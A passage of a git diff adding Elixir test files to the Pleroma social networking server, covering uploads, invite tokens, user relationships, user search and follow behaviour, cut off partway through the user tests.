Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Uploaders.LocalTest do + use Pleroma.DataCase + alias Pleroma.Uploaders.Local + + describe "get_file/1" do + test "it returns path to local folder for files" do + assert Local.get_file("") == {:ok, {:static_dir, "test/uploads"}} + end + end + + describe "put_file/1" do + test "put file to local folder" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + file_path = "local_upload/files/image.jpg" + + file = %Pleroma.Upload{ + name: "image.jpg", + content_type: "image/jpg", + path: file_path, + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + assert Local.put_file(file) == :ok + + assert Path.join([Local.upload_path(), file_path]) + |> File.exists?() + end + end + + describe "delete_file/1" do + test "deletes local file" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + file_path = "local_upload/files/image.jpg" + + file = %Pleroma.Upload{ + name: "image.jpg", + content_type: "image/jpg", + path: file_path, + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + :ok = Local.put_file(file) + local_path = Path.join([Local.upload_path(), file_path]) + assert File.exists?(local_path) + + Local.delete_file(file_path) + + refute File.exists?(local_path) + end + end +end diff --git a/test/pleroma/uploaders/s3_test.exs b/test/pleroma/uploaders/s3_test.exs new file mode 100644 index 000000000..d949c90a5 --- /dev/null +++ b/test/pleroma/uploaders/s3_test.exs @@ -0,0 +1,88 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Uploaders.S3Test do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Uploaders.S3 + + import Mock + import ExUnit.CaptureLog + + setup do: + clear_config(Pleroma.Uploaders.S3, + bucket: "test_bucket", + public_endpoint: "https://s3.amazonaws.com" + ) + + describe "get_file/1" do + test "it returns path to local folder for files" do + assert S3.get_file("test_image.jpg") == { + :ok, + {:url, "https://s3.amazonaws.com/test_bucket/test_image.jpg"} + } + end + + test "it returns path without bucket when truncated_namespace set to ''" do + Config.put([Pleroma.Uploaders.S3], + bucket: "test_bucket", + public_endpoint: "https://s3.amazonaws.com", + truncated_namespace: "" + ) + + assert S3.get_file("test_image.jpg") == { + :ok, + {:url, "https://s3.amazonaws.com/test_image.jpg"} + } + end + + test "it returns path with bucket namespace when namespace is set" do + Config.put([Pleroma.Uploaders.S3], + bucket: "test_bucket", + public_endpoint: "https://s3.amazonaws.com", + bucket_namespace: "family" + ) + + assert S3.get_file("test_image.jpg") == { + :ok, + {:url, "https://s3.amazonaws.com/family:test_bucket/test_image.jpg"} + } + end + end + + describe "put_file/1" do + setup do + file_upload = %Pleroma.Upload{ + name: "image-tet.jpg", + content_type: "image/jpg", + path: "test_folder/image-tet.jpg", + tempfile: Path.absname("test/instance_static/add/shortcode.png") + } + + [file_upload: file_upload] + end + + test "save file", %{file_upload: file_upload} do + with_mock ExAws, request: fn _ -> {:ok, :ok} end do + assert S3.put_file(file_upload) == {:ok, {:file, "test_folder/image-tet.jpg"}} + end + end + + test "returns error", %{file_upload: file_upload} do + with_mock ExAws, request: fn _ -> {:error, "S3 Upload failed"} end do + assert capture_log(fn -> + assert S3.put_file(file_upload) == {:error, "S3 Upload failed"} + end) =~ "Elixir.Pleroma.Uploaders.S3: {:error, \"S3 Upload failed\"}" + end + end + end + + describe "delete_file/1" do + test_with_mock "deletes file", ExAws, request: fn _req -> {:ok, %{status_code: 204}} end do + assert :ok = S3.delete_file("image.jpg") + assert_called(ExAws.request(:_)) + end + end +end diff --git a/test/pleroma/user/notification_setting_test.exs b/test/pleroma/user/notification_setting_test.exs new file mode 100644 index 000000000..308da216a --- /dev/null +++ b/test/pleroma/user/notification_setting_test.exs @@ -0,0 +1,21 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.NotificationSettingTest do + use Pleroma.DataCase + + alias Pleroma.User.NotificationSetting + + describe "changeset/2" do + test "sets option to hide notification contents" do + changeset = + NotificationSetting.changeset( + %NotificationSetting{}, + %{"hide_notification_contents" => true} + ) + + assert %Ecto.Changeset{valid?: true} = changeset + end + end +end diff --git a/test/pleroma/user_invite_token_test.exs b/test/pleroma/user_invite_token_test.exs new file mode 100644 index 000000000..63f18f13c --- /dev/null +++ b/test/pleroma/user_invite_token_test.exs @@ -0,0 +1,96 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UserInviteTokenTest do + use ExUnit.Case, async: true + alias Pleroma.UserInviteToken + + describe "valid_invite?/1 one time invites" do + setup do + invite = %UserInviteToken{invite_type: "one_time"} + + {:ok, invite: invite} + end + + test "not used returns true", %{invite: invite} do + invite = %{invite | used: false} + assert UserInviteToken.valid_invite?(invite) + end + + test "used returns false", %{invite: invite} do + invite = %{invite | used: true} + refute UserInviteToken.valid_invite?(invite) + end + end + + describe "valid_invite?/1 reusable invites" do + setup do + invite = %UserInviteToken{ + invite_type: "reusable", + max_use: 5 + } + + {:ok, invite: invite} + end + + test "with less uses then max use returns true", %{invite: invite} do + invite = %{invite | uses: 4} + assert UserInviteToken.valid_invite?(invite) + end + + test "with equal or more uses then max use returns false", %{invite: invite} do + invite = %{invite | uses: 5} + + refute UserInviteToken.valid_invite?(invite) + + invite = %{invite | uses: 6} + + refute UserInviteToken.valid_invite?(invite) + end + end + + describe "valid_token?/1 date limited invites" do + setup do + invite = %UserInviteToken{invite_type: "date_limited"} + {:ok, invite: invite} + end + + test "expires today returns true", %{invite: invite} do + invite = %{invite | expires_at: Date.utc_today()} + assert UserInviteToken.valid_invite?(invite) + end + + test "expires yesterday returns false", %{invite: invite} do + invite = %{invite | expires_at: Date.add(Date.utc_today(), -1)} + refute UserInviteToken.valid_invite?(invite) + end + end + + describe "valid_token?/1 reusable date limited invites" do + setup do + invite = %UserInviteToken{invite_type: "reusable_date_limited", max_use: 5} + {:ok, invite: invite} + end + + test "not overdue date and less uses returns true", %{invite: invite} do + invite = %{invite | expires_at: Date.utc_today(), uses: 4} + assert UserInviteToken.valid_invite?(invite) + end + + test "overdue date and less uses returns false", %{invite: invite} do + invite = %{invite | expires_at: Date.add(Date.utc_today(), -1)} + refute UserInviteToken.valid_invite?(invite) + end + + test "not overdue date with more uses returns false", %{invite: invite} do + invite = %{invite | expires_at: Date.utc_today(), uses: 5} + refute UserInviteToken.valid_invite?(invite) + end + + test "overdue date with more uses returns false", %{invite: invite} do + invite = %{invite | expires_at: Date.add(Date.utc_today(), -1), uses: 5} + refute UserInviteToken.valid_invite?(invite) + end + end +end diff --git a/test/pleroma/user_relationship_test.exs b/test/pleroma/user_relationship_test.exs new file mode 100644 index 000000000..f12406097 --- /dev/null +++ b/test/pleroma/user_relationship_test.exs @@ -0,0 +1,130 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UserRelationshipTest do + alias Pleroma.UserRelationship + + use Pleroma.DataCase + + import Pleroma.Factory + + describe "*_exists?/2" do + setup do + {:ok, users: insert_list(2, :user)} + end + + test "returns false if record doesn't exist", %{users: [user1, user2]} do + refute UserRelationship.block_exists?(user1, user2) + refute UserRelationship.mute_exists?(user1, user2) + refute UserRelationship.notification_mute_exists?(user1, user2) + refute UserRelationship.reblog_mute_exists?(user1, user2) + refute UserRelationship.inverse_subscription_exists?(user1, user2) + end + + test "returns true if record exists", %{users: [user1, user2]} do + for relationship_type <- [ + :block, + :mute, + :notification_mute, + :reblog_mute, + :inverse_subscription + ] do + insert(:user_relationship, + source: user1, + target: user2, + relationship_type: relationship_type + ) + end + + assert UserRelationship.block_exists?(user1, user2) + assert UserRelationship.mute_exists?(user1, user2) + assert UserRelationship.notification_mute_exists?(user1, user2) + assert UserRelationship.reblog_mute_exists?(user1, user2) + assert UserRelationship.inverse_subscription_exists?(user1, user2) + end + end + + describe "create_*/2" do + setup do + {:ok, users: insert_list(2, :user)} + end + + test "creates user relationship record if it doesn't exist", %{users: [user1, user2]} do + for relationship_type <- [ + :block, + :mute, + :notification_mute, + :reblog_mute, + :inverse_subscription + ] do + insert(:user_relationship, + source: user1, + target: user2, + relationship_type: relationship_type + ) + end + + UserRelationship.create_block(user1, user2) + UserRelationship.create_mute(user1, user2) + UserRelationship.create_notification_mute(user1, user2) + UserRelationship.create_reblog_mute(user1, user2) + UserRelationship.create_inverse_subscription(user1, user2) + + assert UserRelationship.block_exists?(user1, user2) + assert UserRelationship.mute_exists?(user1, user2) + assert UserRelationship.notification_mute_exists?(user1, user2) + assert UserRelationship.reblog_mute_exists?(user1, user2) + assert UserRelationship.inverse_subscription_exists?(user1, user2) + end + + test "if record already exists, returns it", %{users: [user1, user2]} do + user_block = UserRelationship.create_block(user1, user2) + assert user_block == UserRelationship.create_block(user1, user2) + end + end + + describe "delete_*/2" do + setup do + {:ok, users: insert_list(2, :user)} + end + + test "deletes user relationship record if it exists", %{users: [user1, user2]} do + for relationship_type <- [ + :block, + :mute, + :notification_mute, + :reblog_mute, + :inverse_subscription + ] do + insert(:user_relationship, + source: user1, + target: user2, + relationship_type: relationship_type + ) + end + + assert {:ok, %UserRelationship{}} = UserRelationship.delete_block(user1, user2) + assert {:ok, %UserRelationship{}} = UserRelationship.delete_mute(user1, user2) + assert {:ok, %UserRelationship{}} = UserRelationship.delete_notification_mute(user1, user2) + assert {:ok, %UserRelationship{}} = UserRelationship.delete_reblog_mute(user1, user2) + + assert {:ok, %UserRelationship{}} = + UserRelationship.delete_inverse_subscription(user1, user2) + + refute UserRelationship.block_exists?(user1, user2) + refute UserRelationship.mute_exists?(user1, user2) + refute UserRelationship.notification_mute_exists?(user1, user2) + refute UserRelationship.reblog_mute_exists?(user1, user2) + refute UserRelationship.inverse_subscription_exists?(user1, user2) + end + + test "if record does not exist, returns {:ok, nil}", %{users: [user1, user2]} do + assert {:ok, nil} = UserRelationship.delete_block(user1, user2) + assert {:ok, nil} = UserRelationship.delete_mute(user1, user2) + assert {:ok, nil} = UserRelationship.delete_notification_mute(user1, user2) + assert {:ok, nil} = UserRelationship.delete_reblog_mute(user1, user2) + assert {:ok, nil} = UserRelationship.delete_inverse_subscription(user1, user2) + end + end +end diff --git a/test/pleroma/user_search_test.exs b/test/pleroma/user_search_test.exs new file mode 100644 index 000000000..c4b805005 --- /dev/null +++ b/test/pleroma/user_search_test.exs @@ -0,0 +1,362 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UserSearchTest do + alias Pleroma.Repo + alias Pleroma.User + use Pleroma.DataCase + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "User.search" do + setup do: clear_config([:instance, :limit_to_local_content]) + + test "returns a resolved user as the first result" do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/users/lain", resolve: true) + + assert first_user.id == user.id + end + + test "returns a user with matching ap_id as the first result" do + user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/users/lain") + + assert first_user.id == user.id + end + + test "doesn't die if two users have the same uri" do + insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) + insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) + assert [_first_user, _second_user] = User.search("https://gensokyo.2hu/@raymoo") + end + + test "returns a user with matching uri as the first result" do + user = + insert(:user, %{ + nickname: "no_relation", + ap_id: "https://lain.com/users/lain", + uri: "https://lain.com/@lain" + }) + + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/@lain") + + assert first_user.id == user.id + end + + test "excludes invisible users from results" do + user = insert(:user, %{nickname: "john t1000"}) + insert(:user, %{invisible: true, nickname: "john t800"}) + + [found_user] = User.search("john") + assert found_user.id == user.id + end + + test "excludes users when discoverable is false" do + insert(:user, %{nickname: "john 3000", discoverable: false}) + insert(:user, %{nickname: "john 3001"}) + + users = User.search("john") + assert Enum.count(users) == 1 + end + + test "excludes service actors from results" do + insert(:user, actor_type: "Application", nickname: "user1") + service = insert(:user, actor_type: "Service", nickname: "user2") + person = insert(:user, actor_type: "Person", nickname: "user3") + + assert [found_user1, found_user2] = User.search("user") + assert [found_user1.id, found_user2.id] -- [service.id, person.id] == [] + end + + test "accepts limit parameter" do + Enum.each(0..4, &insert(:user, %{nickname: "john#{&1}"})) + assert length(User.search("john", limit: 3)) == 3 + assert length(User.search("john")) == 5 + end + + test "accepts offset parameter" do + Enum.each(0..4, &insert(:user, %{nickname: "john#{&1}"})) + assert length(User.search("john", limit: 3)) == 3 + assert length(User.search("john", limit: 3, offset: 3)) == 2 + end + + defp clear_virtual_fields(user) do + Map.merge(user, %{search_rank: nil, search_type: nil}) + end + + test "finds a user by full nickname or its leading fragment" do + user = insert(:user, %{nickname: "john"}) + + Enum.each(["john", "jo", "j"], fn query -> + assert user == + User.search(query) + |> List.first() + |> clear_virtual_fields() + end) + end + + test "finds a user by full name or leading fragment(s) of its words" do + user = insert(:user, %{name: "John Doe"}) + + Enum.each(["John Doe", "JOHN", "doe", "j d", "j", "d"], fn query -> + assert user == + User.search(query) + |> List.first() + |> clear_virtual_fields() + end) + end + + test "matches by leading fragment of user domain" do + user = insert(:user, %{nickname: "arandom@dude.com"}) + insert(:user, %{nickname: "iamthedude"}) + + assert [user.id] == User.search("dud") |> Enum.map(& &1.id) + end + + test "ranks full nickname match higher than full name match" do + nicknamed_user = insert(:user, %{nickname: "hj@shigusegubu.club"}) + named_user = insert(:user, %{nickname: "xyz@sample.com", name: "HJ"}) + + results = User.search("hj") + + assert [nicknamed_user.id, named_user.id] == Enum.map(results, & &1.id) + assert Enum.at(results, 0).search_rank > Enum.at(results, 1).search_rank + end + + test "finds users, considering density of matched tokens" do + u1 = insert(:user, %{name: "Bar Bar plus Word Word"}) + u2 = insert(:user, %{name: "Word Word Bar Bar Bar"}) + + assert [u2.id, u1.id] == Enum.map(User.search("bar word"), & &1.id) + end + + test "finds users, boosting ranks of friends and followers" do + u1 = insert(:user) + u2 = insert(:user, %{name: "Doe"}) + follower = insert(:user, %{name: "Doe"}) + friend = insert(:user, %{name: "Doe"}) + + {:ok, follower} = User.follow(follower, u1) + {:ok, u1} = User.follow(u1, friend) + + assert [friend.id, follower.id, u2.id] -- + Enum.map(User.search("doe", resolve: false, for_user: u1), & &1.id) == [] + end + + test "finds followings of user by partial name" do + lizz = insert(:user, %{name: "Lizz"}) + jimi = insert(:user, %{name: "Jimi"}) + following_lizz = insert(:user, %{name: "Jimi Hendrix"}) + following_jimi = insert(:user, %{name: "Lizz Wright"}) + follower_lizz = insert(:user, %{name: "Jimi"}) + + {:ok, lizz} = User.follow(lizz, following_lizz) + {:ok, _jimi} = User.follow(jimi, following_jimi) + {:ok, _follower_lizz} = User.follow(follower_lizz, lizz) + + assert Enum.map(User.search("jimi", following: true, for_user: lizz), & &1.id) == [ + following_lizz.id + ] + + assert User.search("lizz", following: true, for_user: lizz) == [] + end + + test "find local and remote users for authenticated users" do + u1 = insert(:user, %{name: "lain"}) + u2 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) + u3 = insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) + + results = + "lain" + |> User.search(for_user: u1) + |> Enum.map(& &1.id) + |> Enum.sort() + + assert [u1.id, u2.id, u3.id] == results + end + + test "find only local users for unauthenticated users" do + %{id: id} = insert(:user, %{name: "lain"}) + insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) + insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) + + assert [%{id: ^id}] = User.search("lain") + end + + test "find only local users for authenticated users when `limit_to_local_content` is `:all`" do + Pleroma.Config.put([:instance, :limit_to_local_content], :all) + + %{id: id} = insert(:user, %{name: "lain"}) + insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) + insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) + + assert [%{id: ^id}] = User.search("lain") + end + + test "find all users for unauthenticated users when `limit_to_local_content` is `false`" do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + + u1 = insert(:user, %{name: "lain"}) + u2 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) + u3 = insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) + + results = + "lain" + |> User.search() + |> Enum.map(& &1.id) + |> Enum.sort() + + assert [u1.id, u2.id, u3.id] == results + end + + test "does not yield false-positive matches" do + insert(:user, %{name: "John Doe"}) + + Enum.each(["mary", "a", ""], fn query -> + assert [] == User.search(query) + end) + end + + test "works with URIs" do + user = insert(:user) + + results = + User.search("http://mastodon.example.org/users/admin", resolve: true, for_user: user) + + result = results |> List.first() + + user = User.get_cached_by_ap_id("http://mastodon.example.org/users/admin") + + assert length(results) == 1 + + expected = + result + |> Map.put(:search_rank, nil) + |> Map.put(:search_type, nil) + |> Map.put(:last_digest_emailed_at, nil) + |> Map.put(:multi_factor_authentication_settings, nil) + |> Map.put(:notification_settings, nil) + + assert user == expected + end + + test "excludes a blocked users from search result" do + user = insert(:user, %{nickname: "Bill"}) + + [blocked_user | users] = Enum.map(0..3, &insert(:user, %{nickname: "john#{&1}"})) + + blocked_user2 = + insert( + :user, + %{nickname: "john awful", ap_id: "https://awful-and-rude-instance.com/user/bully"} + ) + + User.block_domain(user, "awful-and-rude-instance.com") + User.block(user, blocked_user) + + account_ids = User.search("john", for_user: refresh_record(user)) |> collect_ids + + assert account_ids == collect_ids(users) + refute Enum.member?(account_ids, blocked_user.id) + refute Enum.member?(account_ids, blocked_user2.id) + assert length(account_ids) == 3 + end + + test "local user has the same search_rank as for users with the same nickname, but another domain" do + user = insert(:user) + insert(:user, nickname: "lain@mastodon.social") + insert(:user, nickname: "lain") + insert(:user, nickname: "lain@pleroma.social") + + assert User.search("lain@localhost", resolve: true, for_user: user) + |> Enum.each(fn u -> u.search_rank == 0.5 end) + end + + test "localhost is the part of the domain" do + user = insert(:user) + insert(:user, nickname: "another@somedomain") + insert(:user, nickname: "lain") + insert(:user, nickname: "lain@examplelocalhost") + + result = User.search("lain@examplelocalhost", resolve: true, for_user: user) + assert Enum.each(result, fn u -> u.search_rank == 0.5 end) + assert length(result) == 2 + end + + test "local user search with users" do + user = insert(:user) + local_user = insert(:user, nickname: "lain") + insert(:user, nickname: "another@localhost.com") + insert(:user, nickname: "localhost@localhost.com") + + [result] = User.search("lain@localhost", resolve: true, for_user: user) + assert Map.put(result, :search_rank, nil) |> Map.put(:search_type, nil) == local_user + end + + test "works with idna domains" do + user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) + + results = User.search("lain@zetsubou.みんな", resolve: false, for_user: user) + + result = List.first(results) + + assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) + end + + test "works with idna domains converted input" do + user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) + + results = + User.search("lain@zetsubou." <> to_string(:idna.encode("zetsubou.みんな")), + resolve: false, + for_user: user + ) + + result = List.first(results) + + assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) + end + + test "works with idna domains and bad chars in domain" do + user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) + + results = + User.search("lain@zetsubou!@#$%^&*()+,-/:;<=>?[]'_{}|~`.みんな", + resolve: false, + for_user: user + ) + + result = List.first(results) + + assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) + end + + test "works with idna domains and query as link" do + user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) + + results = + User.search("https://zetsubou.みんな/users/lain", + resolve: false, + for_user: user + ) + + result = List.first(results) + + assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) + end + end +end diff --git a/test/pleroma/user_test.exs b/test/pleroma/user_test.exs new file mode 100644 index 000000000..d506f7047 --- /dev/null +++ b/test/pleroma/user_test.exs @@ -0,0 +1,2124 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UserTest do + alias Pleroma.Activity + alias Pleroma.Builders.UserBuilder + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + import ExUnit.CaptureLog + import Swoosh.TestAssertions + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance, :account_activation_required]) + + describe "service actors" do + test "returns updated invisible actor" do + uri = "#{Pleroma.Web.Endpoint.url()}/relay" + followers_uri = "#{uri}/followers" + + insert( + :user, + %{ + nickname: "relay", + invisible: false, + local: true, + ap_id: uri, + follower_address: followers_uri + } + ) + + actor = User.get_or_create_service_actor_by_ap_id(uri, "relay") + assert actor.invisible + end + + test "returns relay user" do + uri = "#{Pleroma.Web.Endpoint.url()}/relay" + followers_uri = "#{uri}/followers" + + assert %User{ + nickname: "relay", + invisible: true, + local: true, + ap_id: ^uri, + follower_address: ^followers_uri + } = User.get_or_create_service_actor_by_ap_id(uri, "relay") + + assert capture_log(fn -> + refute User.get_or_create_service_actor_by_ap_id("/relay", "relay") + end) =~ "Cannot create service actor:" + end + + test "returns invisible actor" do + uri = "#{Pleroma.Web.Endpoint.url()}/internal/fetch-test" + followers_uri = "#{uri}/followers" + user = User.get_or_create_service_actor_by_ap_id(uri, "internal.fetch-test") + + assert %User{ + nickname: "internal.fetch-test", + invisible: true, + local: true, + ap_id: ^uri, + follower_address: ^followers_uri + } = user + + user2 = User.get_or_create_service_actor_by_ap_id(uri, "internal.fetch-test") + assert user.id == user2.id + end + end + + describe "AP ID user relationships" do + setup do + {:ok, user: insert(:user)} + end + + test "outgoing_relationships_ap_ids/1", %{user: user} do + rel_types = [:block, :mute, :notification_mute, :reblog_mute, :inverse_subscription] + + ap_ids_by_rel = + Enum.into( + rel_types, + %{}, + fn rel_type -> + rel_records = + insert_list(2, :user_relationship, %{source: user, relationship_type: rel_type}) + + ap_ids = Enum.map(rel_records, fn rr -> Repo.preload(rr, :target).target.ap_id end) + {rel_type, Enum.sort(ap_ids)} + end + ) + + assert ap_ids_by_rel[:block] == Enum.sort(User.blocked_users_ap_ids(user)) + assert ap_ids_by_rel[:block] == Enum.sort(Enum.map(User.blocked_users(user), & &1.ap_id)) + + assert ap_ids_by_rel[:mute] == Enum.sort(User.muted_users_ap_ids(user)) + assert ap_ids_by_rel[:mute] == Enum.sort(Enum.map(User.muted_users(user), & &1.ap_id)) + + assert ap_ids_by_rel[:notification_mute] == + Enum.sort(User.notification_muted_users_ap_ids(user)) + + assert ap_ids_by_rel[:notification_mute] == + Enum.sort(Enum.map(User.notification_muted_users(user), & &1.ap_id)) + + assert ap_ids_by_rel[:reblog_mute] == Enum.sort(User.reblog_muted_users_ap_ids(user)) + + assert ap_ids_by_rel[:reblog_mute] == + Enum.sort(Enum.map(User.reblog_muted_users(user), & &1.ap_id)) + + assert ap_ids_by_rel[:inverse_subscription] == Enum.sort(User.subscriber_users_ap_ids(user)) + + assert ap_ids_by_rel[:inverse_subscription] == + Enum.sort(Enum.map(User.subscriber_users(user), & &1.ap_id)) + + outgoing_relationships_ap_ids = User.outgoing_relationships_ap_ids(user, rel_types) + + assert ap_ids_by_rel == + Enum.into(outgoing_relationships_ap_ids, %{}, fn {k, v} -> {k, Enum.sort(v)} end) + end + end + + describe "when tags are nil" do + test "tagging a user" do + user = insert(:user, %{tags: nil}) + user = User.tag(user, ["cool", "dude"]) + + assert "cool" in user.tags + assert "dude" in user.tags + end + + test "untagging a user" do + user = insert(:user, %{tags: nil}) + user = User.untag(user, ["cool", "dude"]) + + assert user.tags == [] + end + end + + test "ap_id returns the activity pub id for the user" do + user = UserBuilder.build() + + expected_ap_id = "#{Pleroma.Web.base_url()}/users/#{user.nickname}" + + assert expected_ap_id == User.ap_id(user) + end + + test "ap_followers returns the followers collection for the user" do + user = UserBuilder.build() + + expected_followers_collection = "#{User.ap_id(user)}/followers" + + assert expected_followers_collection == User.ap_followers(user) + end + + test "ap_following returns the following collection for the user" do + user = UserBuilder.build() + + expected_followers_collection = "#{User.ap_id(user)}/following" + + assert expected_followers_collection == User.ap_following(user) + end + + test "returns all pending follow requests" do + unlocked = insert(:user) + locked = insert(:user, locked: true) + follower = insert(:user) + + CommonAPI.follow(follower, unlocked) + CommonAPI.follow(follower, locked) + + assert [] = User.get_follow_requests(unlocked) + assert [activity] = User.get_follow_requests(locked) + + assert activity + end + + test "doesn't return already accepted or duplicate follow requests" do + locked = insert(:user, locked: true) + pending_follower = insert(:user) + accepted_follower = insert(:user) + + CommonAPI.follow(pending_follower, locked) + CommonAPI.follow(pending_follower, locked) + CommonAPI.follow(accepted_follower, locked) + + Pleroma.FollowingRelationship.update(accepted_follower, locked, :follow_accept) + + assert [^pending_follower] = User.get_follow_requests(locked) + end + + test "doesn't return follow requests for deactivated accounts" do + locked = insert(:user, locked: true) + pending_follower = insert(:user, %{deactivated: true}) + + CommonAPI.follow(pending_follower, locked) + + assert true == pending_follower.deactivated + assert [] = User.get_follow_requests(locked) + end + + test "clears follow requests when requester is blocked" do + followed = insert(:user, locked: true) + follower = insert(:user) + + CommonAPI.follow(follower, followed) + assert [_activity] = User.get_follow_requests(followed) + + {:ok, _user_relationship} = User.block(followed, follower) + assert [] = User.get_follow_requests(followed) + end + + test "follow_all follows mutliple users" do + user = insert(:user) + followed_zero = insert(:user) + followed_one = insert(:user) + followed_two = insert(:user) + blocked = insert(:user) + not_followed = insert(:user) + reverse_blocked = insert(:user) + + {:ok, _user_relationship} = User.block(user, blocked) + {:ok, _user_relationship} = User.block(reverse_blocked, user) + + {:ok, user} = User.follow(user, followed_zero) + + {:ok, user} = User.follow_all(user, [followed_one, followed_two, blocked, reverse_blocked]) + + assert User.following?(user, followed_one) + assert User.following?(user, followed_two) + assert User.following?(user, followed_zero) + refute User.following?(user, not_followed) + refute User.following?(user, blocked) + refute User.following?(user, reverse_blocked) + end + + test "follow_all follows mutliple users without duplicating" do + user = insert(:user) + followed_zero = insert(:user) + followed_one = insert(:user) + followed_two = insert(:user) + + {:ok, user} = User.follow_all(user, [followed_zero, followed_one]) + assert length(User.following(user)) == 3 + + {:ok, user} = User.follow_all(user, [followed_one, followed_two]) + assert length(User.following(user)) == 4 + end + + test "follow takes a user and another user" do + user = insert(:user) + followed = insert(:user) + + {:ok, user} = User.follow(user, followed) + + user = User.get_cached_by_id(user.id) + followed = User.get_cached_by_ap_id(followed.ap_id) + + assert followed.follower_count == 1 + assert user.following_count == 1 + + assert User.ap_followers(followed) in User.following(user) + end + + test "can't follow a deactivated users" do + user = insert(:user) + followed = insert(:user, %{deactivated: true}) + + {:error, _} = User.follow(user, followed) + end + + test "can't follow a user who blocked us" do + blocker = insert(:user) + blockee = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blockee) + + {:error, _} = User.follow(blockee, blocker) + end + + test "can't subscribe to a user who blocked us" do + blocker = insert(:user) + blocked = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blocked) + + {:error, _} = User.subscribe(blocked, blocker) + end + + test "local users do not automatically follow local locked accounts" do + follower = insert(:user, locked: true) + followed = insert(:user, locked: true) + + {:ok, follower} = User.maybe_direct_follow(follower, followed) + + refute User.following?(follower, followed) + end + + describe "unfollow/2" do + setup do: clear_config([:instance, :external_user_synchronization]) + + test "unfollow with syncronizes external user" do + Pleroma.Config.put([:instance, :external_user_synchronization], true) + + followed = + insert(:user, + nickname: "fuser1", + follower_address: "http://localhost:4001/users/fuser1/followers", + following_address: "http://localhost:4001/users/fuser1/following", + ap_id: "http://localhost:4001/users/fuser1" + ) + + user = + insert(:user, %{ + local: false, + nickname: "fuser2", + ap_id: "http://localhost:4001/users/fuser2", + follower_address: "http://localhost:4001/users/fuser2/followers", + following_address: "http://localhost:4001/users/fuser2/following" + }) + + {:ok, user} = User.follow(user, followed, :follow_accept) + + {:ok, user, _activity} = User.unfollow(user, followed) + + user = User.get_cached_by_id(user.id) + + assert User.following(user) == [] + end + + test "unfollow takes a user and another user" do + followed = insert(:user) + user = insert(:user) + + {:ok, user} = User.follow(user, followed, :follow_accept) + + assert User.following(user) == [user.follower_address, followed.follower_address] + + {:ok, user, _activity} = User.unfollow(user, followed) + + assert User.following(user) == [user.follower_address] + end + + test "unfollow doesn't unfollow yourself" do + user = insert(:user) + + {:error, _} = User.unfollow(user, user) + + assert User.following(user) == [user.follower_address] + end + end + + test "test if a user is following another user" do + followed = insert(:user) + user = insert(:user) + User.follow(user, followed, :follow_accept) + + assert User.following?(user, followed) + refute User.following?(followed, user) + end + + test "fetches correct profile for nickname beginning with number" do + # Use old-style integer ID to try to reproduce the problem + user = insert(:user, %{id: 1080}) + user_with_numbers = insert(:user, %{nickname: "#{user.id}garbage"}) + assert user_with_numbers == User.get_cached_by_nickname_or_id(user_with_numbers.nickname) + end + + describe "user registration" do + @full_user_data %{ + bio: "A 